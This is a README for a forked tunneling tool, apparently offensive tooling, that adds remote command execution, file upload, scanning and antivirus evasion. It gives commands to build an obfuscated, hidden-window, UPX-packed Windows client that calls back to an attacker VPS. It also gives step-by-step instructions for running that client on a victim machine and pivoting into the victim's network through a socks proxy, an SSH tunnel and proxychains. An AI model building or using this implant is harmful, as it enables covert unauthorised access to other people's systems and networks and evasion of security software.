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gTunnel Fork

Original (https://github.com/hotnops/gtunnel):

A TCP tunneling suite built with golang and gRPC. gTunnel can manage multiple forward and reverse tunnels that are all carried over a single TCP/HTTP2 connection. I wanted to learn a new language, so I picked go and gRPC. Client executables have been tested on windows and linux.

My changes + additions:

  • Added gRPC tunnel for tasks (cmd exec / file transfer / file upload)
  • High efficient TCP scanner
  • Traffic stats
  • AV evasion

Dependencies

Generate Server Binary

This is the binary to be used in the VPS

cd gServer
CGO_ENABLED=0 go build .

On the attacker's VPS, setup self-signed certs

mkdir tls && openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out tls/cert -subj "/C=/ST=/L=/O=/CN=" -keyout tls/key

Generate Windows Client Binary

x=$PWD
serverPort=443
serverIP=8.8.8.8
outputFile=gClient.exe

seed=`cat /dev/urandom| head -1 | md5sum| base64`
cd gClient && GOROOT_FINAL=/dev/null GOOS=windows GOARCH=amd64 garble -seed=$seed -tiny -literals build -ldflags "-X main.serverAddress=$serverIP -X main.serverPort=$serverPort -s -w -H=windowsgui" -o gClient.exe && cp gClient.exe $x/$outputFile && upx $x/$outputFile

How to setup a simple socks5 tunnel

  1. Run ./gServer on the attacker's VPS as root (with permissions to open 443/tcp)
  2. Execute gclient.exe on the victim
  3. Gain a new connection on the gServer prompt
  4. Execute use newMachine-0000
  5. Execute socks 1080 to start a socks proxy on the victim machine
  6. Execute addtunnel local 1080 127.0.0.1 1080 - you will now have a socks5 proxy at 127.0.0.1:1080 on the attack VPS
  7. Setup SSH tunnel from attackers actual machine to get access to the socks5 port on the VPS with ssh -L 1080:127.0.0.1:1080 root@attack_vps -N -v
  8. Use proxychains with 127.0.0.1 1080 on the attacker's userland machine to interact with the victim's network